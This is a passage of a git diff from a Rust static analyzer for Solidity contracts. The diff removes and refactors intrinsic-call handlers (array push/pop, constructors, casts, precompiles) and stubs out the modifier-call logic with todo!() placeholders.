analyzer).into_expr_err(loc)?; - return Ok(()); - } - match_decode(ctx, &loc, ret, analyzer) - }) - } - "abi.encode" - | "abi.encodePacked" - | "abi.encodeCall" - | "abi.encodeWithSignature" - | "abi.encodeWithSelector" => { - // TODO: Support concrete abi encoding - let bn = self.builtin_or_add(Builtin::DynamicBytes); - let cvar = ContextVar::new_from_builtin(loc, bn.into(), self).into_expr_err(loc)?; - let node = self.add_node(cvar); - ctx.add_var(node.into(), self).into_expr_err(loc)?; - self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(loc)?; - Ok(()) - } - _ => Err(ExprErr::FunctionNotFound( - loc, - format!( - "Could not find abi function: \"{func_name}\", context: {}", - ctx.path(self), - ), - )), - } - } } diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/address.rs b/crates/solc-expressions/src/func_call/intrinsic_call/address.rs index a9faccaf..cf712062 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/address.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/address.rs @@ -12,8 +12,8 @@ impl AddressCaller for T where T: AnalyzerBackend + Sized { /// Perform an `address.<..>` function call fn address_call(&mut self, ctx: ContextNode, func_name: &str, loc: Loc) -> Result<(), ExprErr> { - match &*func_name { - "delegatecall" | "staticcall" | "call" => self.external_call(ctx, &func_name, loc), + match func_name { + "delegatecall" | "staticcall" | "call" => self.external_call(ctx, func_name, loc), "code" => { // TODO: try to be smarter based on the address input let bn = self.builtin_or_add(Builtin::DynamicBytes); diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/array.rs b/crates/solc-expressions/src/func_call/intrinsic_call/array.rs index 6e865aac..14b02b73 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/array.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/array.rs @@ -1,11 +1,10 @@ use crate::assign::Assign; -use crate::func_caller::NamedOrUnnamedArgs; -use crate::{array::Array, bin_op::BinOp, ContextBuilder, ExpressionParser, ListAccess}; +use crate::{array::Array, bin_op::BinOp, ListAccess}; use graph::{ elem::*, - nodes::{Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet}, - AnalyzerBackend, Node, + nodes::{Concrete, ContextNode, ContextVarNode, ExprRet}, + AnalyzerBackend, }; use shared::{ExprErr, IntoExprErr, RangeArena}; @@ -129,284 +128,4 @@ pub trait ArrayCaller: AnalyzerBackend + S )), } } - - /// Perform an `array.<..>` function call - fn array_call( - &mut self, - arena: &mut RangeArena>, - func_name: String, - input_exprs: &NamedOrUnnamedArgs, - loc: Loc, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - match &*func_name { - "push" => { - if input_exprs.len() == 1 { - // array.push() is valid syntax. It pushes a new - // empty element onto the expr ret stack - self.parse_ctx_expr(arena, &input_exprs.unnamed_args().unwrap()[0], ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(array) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "array[].push(..) was not given an element to push".to_string(), - )); - }; - - if matches!(array, ExprRet::CtxKilled(_)) { - ctx.push_expr(array, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - // get length - let arr = array.expect_single().into_expr_err(loc)?; - let arr = ContextVarNode::from(arr).latest_version(analyzer); - - // get length - let len = analyzer - .get_length(arena, ctx, arr, true, loc)? - .unwrap() - .latest_version(analyzer); - - // get the index access and add it to the stack - let _ = analyzer - .index_into_array_raw(arena, ctx, loc, len, arr, false, false)?; - - // create a temporary 1 variable - let cnode = - analyzer.add_node(Node::Concrete(Concrete::from(U256::from(1)))); - let tmp_one = Node::ContextVar( - ContextVar::new_from_concrete( - Loc::Implicit, - ctx, - cnode.into(), - analyzer, - ) - .into_expr_err(loc)?, - ); - let one = ContextVarNode::from(analyzer.add_node(tmp_one)); - - // add 1 to the length - let tmp_len = - analyzer.op(arena, loc, len, one, ctx, RangeOp::Add(false), false)?; - - let tmp_len = ContextVarNode::from(tmp_len.expect_single().unwrap()); - tmp_len.underlying_mut(analyzer).unwrap().is_tmp = false; - - analyzer.set_var_as_length( - arena, - ctx, - loc, - tmp_len, - arr.latest_version(analyzer), - )?; - - Ok(()) - }) - } else if input_exprs.len() == 2 { - // array.push(value) - self.parse_ctx_expr(arena, &input_exprs.unnamed_args().unwrap()[0], ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(array) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "array[].push(..) was not an array to push to".to_string(), - )); - }; - if matches!(array, ExprRet::CtxKilled(_)) { - ctx.push_expr(array, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.parse_ctx_expr( - arena, - &input_exprs.unnamed_args().unwrap()[1], - ctx, - )?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(new_elem) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "array[].push(..) was not given an element to push".to_string(), - )); - }; - - if matches!(new_elem, ExprRet::CtxKilled(_)) { - ctx.push_expr(new_elem, analyzer).into_expr_err(loc)?; - return Ok(()); - } - let pushed_value = - ContextVarNode::from(new_elem.expect_single().unwrap()); - - // get length - let arr = array.expect_single().into_expr_err(loc)?; - let arr = ContextVarNode::from(arr).latest_version(analyzer); - - // get length - let len = analyzer - .get_length(arena, ctx, arr, true, loc)? - .unwrap() - .latest_version(analyzer); - - // get the index access for the *previous* length - let index_access = analyzer - .index_into_array_raw(arena, ctx, loc, len, arr, false, true)? - .unwrap(); - // create a temporary 1 variable - let cnode = - analyzer.add_node(Node::Concrete(Concrete::from(U256::from(1)))); - let tmp_one = Node::ContextVar( - ContextVar::new_from_concrete( - Loc::Implicit, - ctx, - cnode.into(), - analyzer, - ) - .into_expr_err(loc)?, - ); - let one = ContextVarNode::from(analyzer.add_node(tmp_one)); - - // add 1 to the length - let tmp_len = analyzer.op( - arena, - loc, - len, - one, - ctx, - RangeOp::Add(false), - false, - )?; - - let tmp_len = ContextVarNode::from(tmp_len.expect_single().unwrap()); - tmp_len.underlying_mut(analyzer).unwrap().is_tmp = false; - - // set the new length - analyzer.set_var_as_length( - arena, - ctx, - loc, - tmp_len, - arr.latest_version(analyzer), - )?; - - // update the index access's range - let elem = Elem::from(pushed_value); - index_access - .set_range_min(analyzer, arena, elem.clone()) - .into_expr_err(loc)?; - index_access - .set_range_max(analyzer, arena, elem.clone()) - .into_expr_err(loc)?; - - // update the array using the index access - analyzer.update_array_from_index_access( - arena, - ctx, - loc, - len, - index_access.latest_version(analyzer), - arr.latest_version(analyzer), - ) - }) - }) - } else { - return Err(ExprErr::InvalidFunctionInput( - loc, - format!( - "array[].push(..) expected 0 or 1 inputs, got: {}", - input_exprs.len() - ), - )); - } - } - "pop" => { - if input_exprs.len() != 1 { - return Err(ExprErr::InvalidFunctionInput( - loc, - format!( - "array[].pop() expected 0 inputs, got: {}", - input_exprs.len() - ), - )); - } - self.parse_ctx_expr(arena, &input_exprs.unnamed_args().unwrap()[0], ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(array) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "array[].pop() was not given an array".to_string(), - )); - }; - - if matches!(array, ExprRet::CtxKilled(_)) { - ctx.push_expr(array, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - // get length - let arr = array.expect_single().into_expr_err(loc)?; - let arr = ContextVarNode::from(arr).latest_version(analyzer); - - // get length - let len = analyzer - .get_length(arena, ctx, arr, true, loc)? - .unwrap() - .latest_version(analyzer); - - // create a temporary 1 variable - let cnode = analyzer.add_node(Node::Concrete(Concrete::from(U256::from(1)))); - let tmp_one = Node::ContextVar( - ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode.into(), analyzer) - .into_expr_err(loc)?, - ); - let one = ContextVarNode::from(analyzer.add_node(tmp_one)); - - // subtract 1 from the length - let tmp_len = - analyzer.op(arena, loc, len, one, ctx, RangeOp::Sub(false), false)?; - - let tmp_len = ContextVarNode::from(tmp_len.expect_single().unwrap()); - tmp_len.underlying_mut(analyzer).unwrap().is_tmp = false; - - // get the index access - let index_access = analyzer - .index_into_array_raw(arena, ctx, loc, tmp_len, arr, false, true)? - .unwrap(); - - analyzer.set_var_as_length( - arena, - ctx, - loc, - tmp_len, - arr.latest_version(analyzer), - )?; - index_access - .set_range_min(analyzer, arena, Elem::Null) - .into_expr_err(loc)?; - index_access - .set_range_max(analyzer, arena, Elem::Null) - .into_expr_err(loc)?; - - analyzer.update_array_from_index_access( - arena, - ctx, - loc, - tmp_len, - index_access.latest_version(analyzer), - arr.latest_version(analyzer), - ) - }) - } - _ => Err(ExprErr::FunctionNotFound( - loc, - format!( - "Could not find builtin array function: \"{func_name}\", context: {}", - ctx.path(self), - ), - )), - } - } } diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/block.rs b/crates/solc-expressions/src/func_call/intrinsic_call/block.rs index 19152db3..d92ed744 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/block.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/block.rs @@ -1,9 +1,8 @@ use graph::{ - elem::Elem, - nodes::{Builtin, Concrete, ContextNode, ContextVar, ExprRet}, + nodes::{Builtin, ContextNode, ContextVar, ExprRet}, AnalyzerBackend, }; -use shared::{ExprErr, IntoExprErr, RangeArena}; +use shared::{ExprErr, IntoExprErr}; use solang_parser::pt::{Expression, Loc}; @@ -14,15 +13,14 @@ pub trait BlockCaller: AnalyzerBackend + S /// Perform a `block` function call fn block_call( &mut self, - arena: &mut RangeArena>, ctx: ContextNode, func_name: &str, inputs: ExprRet, loc: Loc, ) -> Result<(), ExprErr> { - match &*func_name { + match func_name { "blockhash" => { - let input = inputs.expect_single().into_expr_err(loc)?; + let _input = inputs.expect_single().into_expr_err(loc)?; let var = ContextVar::new_from_builtin( loc, self.builtin_or_add(Builtin::Bytes(32)).into(), diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs b/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs index 83327ab1..16a21e39 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs @@ -1,5 +1,4 @@ -use crate::func_caller::NamedOrUnnamedArgs; -use crate::{assign::Assign, func_call::helper::CallerHelper, ContextBuilder, ExpressionParser}; +use crate::{assign::Assign, func_call::helper::CallerHelper}; use graph::{ elem::*, @@ -20,29 +19,6 @@ pub trait ConstructorCaller: AnalyzerBackend + Sized + CallerHelper { /// Construct an array - fn construct_array( - &mut self, - arena: &mut RangeArena>, - func_idx: NodeIdx, - input_exprs: &NamedOrUnnamedArgs, - loc: Loc, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - // create a new list - self.parse_ctx_expr(arena, &input_exprs.unnamed_args().unwrap()[0], ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(len_var) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs(loc, "Array creation failed".to_string())); - }; - - if matches!(len_var, ExprRet::CtxKilled(_)) { - ctx.push_expr(len_var, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.construct_array_inner(arena, func_idx, len_var, loc, ctx) - }) - } - fn construct_array_inner( &mut self, arena: &mut RangeArena>, @@ -121,54 +97,6 @@ pub trait ConstructorCaller: } /// Construct a contract - fn construct_contract( - &mut self, - arena: &mut RangeArena>, - func_idx: NodeIdx, - input_exprs: &NamedOrUnnamedArgs, - loc: Loc, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - // construct a new contract - if !input_exprs.is_empty() { - self.parse_ctx_expr(arena, &input_exprs.unnamed_args().unwrap()[0], ctx)?; - } - self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - if !input_exprs.is_empty() { - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs(loc, "Contract creation failed".to_string())); - }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - } - - let var = match ContextVar::maybe_from_user_ty(analyzer, loc, func_idx) { - Some(v) => v, - None => { - return Err(ExprErr::VarBadType( - loc, - format!( - "Could not create context variable from user type: {:?}", - analyzer.node(func_idx) - ), - )) - } - }; - // let idx = ret.expect_single().into_expr_err(loc)?; - let contract_cvar = ContextVarNode::from(analyzer.add_node(Node::ContextVar(var))); - // contract_cvar - // .set_range_min(analyzer, Elem::from(idx)) - // .into_expr_err(loc)?; - // contract_cvar - // .set_range_max(analyzer, Elem::from(idx)) - // .into_expr_err(loc)?; - ctx.push_expr(ExprRet::Single(contract_cvar.into()), analyzer) - .into_expr_err(loc) - }) - } - fn construct_contract_inner( &mut self, _arena: &mut RangeArena>, @@ -178,7 +106,6 @@ pub trait ConstructorCaller: loc: Loc, ) -> Result<(), ExprErr> { // construct a new contract - let var = match ContextVar::maybe_from_user_ty(self, loc, con_node.0.into()) { Some(v) => v, None => { @@ -242,26 +169,4 @@ pub trait ConstructorCaller: ctx.push_expr(ExprRet::Single(cvar), self) .into_expr_err(loc) } - - /// Construct a struct - fn construct_struct( - &mut self, - arena: &mut RangeArena>, - func_idx: NodeIdx, - input_exprs: &NamedOrUnnamedArgs, - loc: Loc, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - input_exprs.parse(arena, self, ctx, loc)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(inputs) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "Struct construction call failed".to_string(), - )); - }; - - analyzer.construct_struct_inner(arena, ctx, StructNode::from(func_idx), inputs, loc) - }) - } } diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs b/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs index 6d582662..f7f09049 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs @@ -23,7 +23,7 @@ pub trait DynBuiltinCaller: AnalyzerBackend Result<(), ExprErr> { - match &*func_name { + match func_name { "concat" => self.concat(arena, ctx, inputs, loc), _ => Err(ExprErr::FunctionNotFound( loc, diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs index 3437de20..26acbc60 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs @@ -1,5 +1,4 @@ use crate::{ - context_builder::ExpressionParser, func_call::{func_caller::FuncCaller, helper::CallerHelper}, intrinsic_call::{ AbiCaller, AddressCaller, ArrayCaller, BlockCaller, ConstructorCaller, DynBuiltinCaller, @@ -159,33 +158,6 @@ pub trait IntrinsicFuncCaller: } } - fn new_call( - &mut self, - arena: &mut RangeArena>, - loc: &Loc, - ty_expr: &Expression, - inputs: &[Expression], - ctx: ContextNode, - ) -> Result<(), ExprErr> { - self.parse_ctx_expr(arena, ty_expr, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(ty) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "No type given for call to `new`".to_string(), - )); - }; - - panic!("here") - // let as_cvar = - // ContextVarNode::from(analyzer.add_node( - // ContextVar::maybe_from_user_ty(self, loc, ty.expect_single()?).unwrap(), - // )); - - // self.new_call_inner(arena, loc, as_cvar, inputs, ctx) - }) - } - fn call_builtin( &mut self, arena: &mut RangeArena>, @@ -196,7 +168,7 @@ pub trait IntrinsicFuncCaller: ) -> Result<(), ExprErr> { match name { // abi - _ if name.starts_with("abi.") => self.abi_call_inner(arena, ctx, name, inputs, loc), + _ if name.starts_with("abi.") => self.abi_call_inner(ctx, name, inputs, loc), // address "delegatecall" | "staticcall" | "call" | "code" | "balance" => { self.address_call(ctx, name, loc) @@ -204,15 +176,13 @@ pub trait IntrinsicFuncCaller: // array "push" | "pop" => self.array_call_inner(arena, ctx, name, inputs, loc), // block - "blockhash" => self.block_call(arena, ctx, name, inputs, loc), + "blockhash" => self.block_call(ctx, name, inputs, loc), // dynamic sized builtins "concat" => self.dyn_builtin_call(arena, ctx, name, inputs, loc), // msg "gasleft" => self.msg_call(ctx, name, loc), // precompiles - "sha256" | "ripemd160" | "ecrecover" => { - self.precompile_call(arena, ctx, name, inputs, loc) - } + "sha256" | "ripemd160" | "ecrecover" => self.precompile_call(ctx, name, inputs, loc), // solidity "keccak256" | "addmod" | "mulmod" | "require" | "assert" => { self.solidity_call(arena, ctx, name, inputs, loc) diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/msg.rs b/crates/solc-expressions/src/func_call/intrinsic_call/msg.rs index dfae4532..1d5b58af 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/msg.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/msg.rs @@ -12,7 +12,7 @@ impl MsgCaller for T where T: AnalyzerBackend + Sized { /// Perform a msg's builtin function call, like `gasleft()` fn msg_call(&mut self, ctx: ContextNode, func_name: &str, loc: Loc) -> Result<(), ExprErr> { - match &*func_name { + match func_name { "gasleft" => { let var = ContextVar::new_from_builtin( loc, diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs b/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs index dc27c2f1..4f8e37b1 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs @@ -2,11 +2,10 @@ use crate::func_call::helper::CallerHelper; use graph::nodes::SubContextKind; use graph::{ - elem::Elem, - nodes::{Builtin, Concrete, Context, ContextNode, ContextVar, ContextVarNode, ExprRet}, + nodes::{Builtin, Context, ContextNode, ContextVar, ContextVarNode, ExprRet}, AnalyzerBackend, ContextEdge, Edge, Node, }; -use shared::{ExprErr, IntoExprErr, RangeArena}; +use shared::{ExprErr, IntoExprErr}; use solang_parser::pt::{Expression, Loc}; @@ -22,13 +21,12 @@ pub trait PrecompileCaller: /// Perform a precompile's function call, like `ecrecover` fn precompile_call( &mut self, - arena: &mut RangeArena>, ctx: ContextNode, func_name: &str, inputs: ExprRet, loc: Loc, ) -> Result<(), ExprErr> { - match &*func_name { + match func_name { "sha256" => { // TODO: Compile time calculate the hash if we have concretes. let var = ContextVar::new_from_builtin( @@ -60,8 +58,7 @@ pub trait PrecompileCaller: let subctx_kind = SubContextKind::new_fn_call(ctx, None, func_idx.into(), true); let call_ctx = Context::add_subctx(subctx_kind, loc, self, None).into_expr_err(loc)?; - ctx.set_child_call(call_ctx.into(), self) - .into_expr_err(loc)?; + ctx.set_child_call(call_ctx, self).into_expr_err(loc)?; let call_node = self.add_node(Node::FunctionCall); self.add_edge(call_node, func_idx, Edge::Context(ContextEdge::Call)); self.add_edge(call_node, ctx, Edge::Context(ContextEdge::Subcontext)); @@ -88,23 +85,17 @@ pub trait PrecompileCaller: ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, call_ctx, Edge::Context(ContextEdge::Variable)); self.add_edge(cvar, call_ctx, Edge::Context(ContextEdge::Return)); - ContextNode::from(call_ctx) + call_ctx .add_return_node(loc, cvar.into(), self) .into_expr_err(loc)?; - let subctx_kind = SubContextKind::new_fn_ret(call_ctx.into(), ctx); + let subctx_kind = SubContextKind::new_fn_ret(call_ctx, ctx); let ret_ctx = Context::add_subctx(subctx_kind, loc, self, None).into_expr_err(loc)?; - ContextNode::from(call_ctx) - .set_child_call(ret_ctx.into(), self) - .into_expr_err(loc)?; + call_ctx.set_child_call(ret_ctx, self).into_expr_err(loc)?; let tmp_ret = ContextVarNode::from(cvar) - .as_tmp( - ContextNode::from(call_ctx).underlying(self).unwrap().loc, - ret_ctx.into(), - self, - ) + .as_tmp(call_ctx.underlying(self).unwrap().loc, ret_ctx, self) .unwrap(); tmp_ret.underlying_mut(self).unwrap().is_return = true; tmp_ret.underlying_mut(self).unwrap().display_name = @@ -112,7 +103,7 @@ pub trait PrecompileCaller: ctx.add_var(tmp_ret, self).into_expr_err(loc)?; self.add_edge(tmp_ret, ret_ctx, Edge::Context(ContextEdge::Variable)); - ContextNode::from(ret_ctx) + ret_ctx .push_expr(ExprRet::Single(tmp_ret.into()), self) .into_expr_err(loc)?; Ok(()) diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs b/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs index 4062c706..503e3cd5 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs @@ -1,8 +1,7 @@ use crate::func_call::helper::CallerHelper; -use crate::require::Require; use graph::{ - elem::{Elem, RangeOp}, + elem::Elem, nodes::{Builtin, Concrete, ConcreteNode, ContextNode, ContextVar, ContextVarNode, ExprRet}, AnalyzerBackend, }; diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/types.rs b/crates/solc-expressions/src/func_call/intrinsic_call/types.rs index 8a163357..1e9b32c4 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/types.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/types.rs @@ -1,6 +1,5 @@ -use crate::func_caller::NamedOrUnnamedArgs; +use crate::variable::Variable; use crate::ListAccess; -use crate::{variable::Variable, ContextBuilder, ExpressionParser}; use graph::{ elem::*, @@ -9,7 +8,7 @@ use graph::{ }, AnalyzerBackend, VarType, }; -use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; +use shared::{ExprErr, IntoExprErr, RangeArena}; use solang_parser::pt::{Expression, Loc}; @@ -104,31 +103,6 @@ pub trait TypesCaller: AnalyzerBackend + S } /// Perform a cast of a type - fn cast( - &mut self, - arena: &mut RangeArena>, - ty: Builtin, - func_idx: NodeIdx, - input_exprs: &NamedOrUnnamedArgs, - loc: Loc, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - self.parse_ctx_expr(arena, &input_exprs.unnamed_args().unwrap()[0], ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs(loc, "Cast had no target type".to_string())); - }; - - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - let var_ty = VarType::try_from_idx(analyzer, func_idx).unwrap(); - analyzer.cast_inner(arena, ctx, var_ty, &ty, ret, loc) - }) - } - fn cast_inner( &mut self, arena: &mut RangeArena>, diff --git a/crates/solc-expressions/src/func_call/mod.rs b/crates/solc-expressions/src/func_call/mod.rs index 2f963567..3e1015d4 100644 --- a/crates/solc-expressions/src/func_call/mod.rs +++ b/crates/solc-expressions/src/func_call/mod.rs @@ -4,4 +4,3 @@ pub mod helper; pub mod internal_call; pub mod intrinsic_call; pub mod modifier; -pub mod namespaced_call; diff --git a/crates/solc-expressions/src/func_call/modifier.rs b/crates/solc-expressions/src/func_call/modifier.rs index 660fbd73..0d48461e 100644 --- a/crates/solc-expressions/src/func_call/modifier.rs +++ b/crates/solc-expressions/src/func_call/modifier.rs @@ -1,15 +1,15 @@ //! Traits & blanket implementations that facilitate performing modifier function calls. -use crate::{func_caller::FuncCaller, helper::CallerHelper, ContextBuilder, ExpressionParser}; +use crate::{func_caller::FuncCaller, helper::CallerHelper, ContextBuilder}; use graph::{ elem::Elem, - nodes::{Concrete, Context, ContextNode, ExprRet, FunctionNode, ModifierState, SubContextKind}, - AnalyzerBackend, Edge, GraphBackend, Node, + nodes::{Concrete, Context, ContextNode, FunctionNode, ModifierState, SubContextKind}, + AnalyzerBackend, Edge, GraphBackend, }; use shared::{ExprErr, IntoExprErr, RangeArena}; -use solang_parser::pt::{CodeLocation, Expression, Loc}; +use solang_parser::pt::{Expression, Loc}; impl ModifierCaller for T where T: AnalyzerBackend @@ -37,49 +37,55 @@ pub trait ModifierCaller: func_node: FunctionNode, mod_state: ModifierState, ) -> Result<(), ExprErr> { - let mod_node = func_node.modifiers(self)[mod_state.num]; - tracing::trace!( - "calling modifier {} for func {}", - mod_node.name(self).into_expr_err(loc)?, - func_node.name(self).into_expr_err(loc)? - ); + let _ = arena; + let _ = loc; + let _ = func_ctx; + let _ = func_node; + let _ = mod_state; + todo!() + // let mod_node = func_node.modifiers(self)[mod_state.num]; + // tracing::trace!( + // "calling modifier {} for func {}", + // mod_node.name(self).into_expr_err(loc)?, + // func_node.name(self).into_expr_err(loc)? + // ); - let input_exprs = func_node - .modifier_input_vars(mod_state.num, self) - .into_expr_err(loc)?; + // let input_exprs = func_node + // .modifier_input_vars(mod_state.num, self) + // .into_expr_err(loc)?; - input_exprs - .iter() - .try_for_each(|expr| self.parse_ctx_expr(arena, expr, func_ctx))?; - self.apply_to_edges(func_ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let input_paths = if input_exprs.is_empty() { - ExprRet::Multi(vec![]) - } else { - let Some(input_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - format!("No inputs to modifier, expected: {}", input_exprs.len()), - )); - }; + // input_exprs + // .iter() + // .try_for_each(|expr| self.parse_ctx_expr(arena, expr, func_ctx))?; + // self.apply_to_edges(func_ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let input_paths = if input_exprs.is_empty() { + // ExprRet::Multi(vec![]) + // } else { + // let Some(input_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // format!("No inputs to modifier, expected: {}", input_exprs.len()), + // )); + // }; - if matches!(input_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(input_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - input_paths - }; - - analyzer.func_call( - arena, - ctx, - loc, - &input_paths, - mod_node, - None, - Some(mod_state.clone()), - ) - }) + // if matches!(input_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(input_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // input_paths + // }; + + // analyzer.func_call( + // arena, + // ctx, + // loc, + // &input_paths, + // mod_node, + // None, + // Some(mod_state.clone()), + // ) + // }) } /// Resumes the parent function of a modifier @@ -101,7 +107,7 @@ pub trait ModifierCaller: ctx, modifier_state.loc, arena, - &|analyzer, arena, ctx, loc| { + &|analyzer, arena, ctx, _loc| { if modifier_state.num + 1 < mods.len() { // use the next modifier let mut mstate = modifier_state.clone(); @@ -175,64 +181,67 @@ pub trait ModifierCaller: ctx: ContextNode, func: FunctionNode, ) -> Result, ExprErr> { - use std::fmt::Write; + // use std::fmt::Write; let binding = func.underlying(self).unwrap().clone(); let modifiers = binding.modifiers_as_base(); if modifiers.is_empty() { Ok(vec![]) } else { - let res = modifiers - .iter() - .map(|modifier| { - assert_eq!(modifier.name.identifiers.len(), 1); - // construct arg string for function selector - let mut mod_name = format!("{}", modifier.name.identifiers[0]); - if let Some(args) = &modifier.args { - let args_str = args - .iter() - .map(|expr| { - let subctx_kind = SubContextKind::new_dummy(ctx); - let callee_ctx = - Context::add_subctx(subctx_kind, Loc::Implicit, self, None) - .into_expr_err(Loc::Implicit)?; - let _res = ctx.set_child_call(callee_ctx, self); - self.parse_ctx_expr(arena, expr, callee_ctx)?; - let f: Vec = self.take_from_edge( - ctx, - expr.loc(), - arena, - &|analyzer, arena, ctx, loc| { - let ret = ctx - .pop_expr_latest(loc, analyzer) - .into_expr_err(loc)? - .unwrap(); - Ok(ret.try_as_func_input_str(analyzer, arena)) - }, - )?; - - ctx.delete_child(self).into_expr_err(expr.loc())?; - Ok(f.first().unwrap().clone()) - }) - .collect::, ExprErr>>()? - .join(", "); - let _ = write!(mod_name, "{args_str}"); - } else { - let _ = write!(mod_name, "()"); - } - let _ = write!(mod_name, ""); - let found: Option = ctx - .visible_modifiers(self) - .unwrap() - .iter() - .find(|modifier| modifier.name(self).unwrap() == mod_name) - .copied(); - Ok(found) - }) - .collect::>, ExprErr>>()? - .into_iter() - .flatten() - .collect::>(); - Ok(res) + let _ = arena; + let _ = ctx; + todo!() + // let res = modifiers + // .iter() + // .map(|modifier| { + // assert_eq!(modifier.name.identifiers.len(), 1); + // // construct arg string for function selector + // let mut mod_name = format!("{}", modifier.name.identifiers[0]); + // if let Some(args) = &modifier.args { + // let args_str = args + // .iter() + // .map(|expr| { + // let subctx_kind = SubContextKind::new_dummy(ctx); + // let callee_ctx = + // Context::add_subctx(subctx_kind, Loc::Implicit, self, None) + // .into_expr_err(Loc::Implicit)?; + // let _res = ctx.set_child_call(callee_ctx, self); + // self.parse_ctx_expr(arena, expr, callee_ctx)?; + // let f: Vec = self.take_from_edge( + // ctx, + // expr.loc(), + // arena, + // &|analyzer, arena, ctx, loc| { + // let ret = ctx + // .pop_expr_latest(loc, analyzer) + // .into_expr_err(loc)? + // .unwrap(); + // Ok(ret.try_as_func_input_str(analyzer, arena)) + // }, + // )?; + + // ctx.delete_child(self).into_expr_err(expr.loc())?; + // Ok(f.first().unwrap().clone()) + // }) + // .collect::, 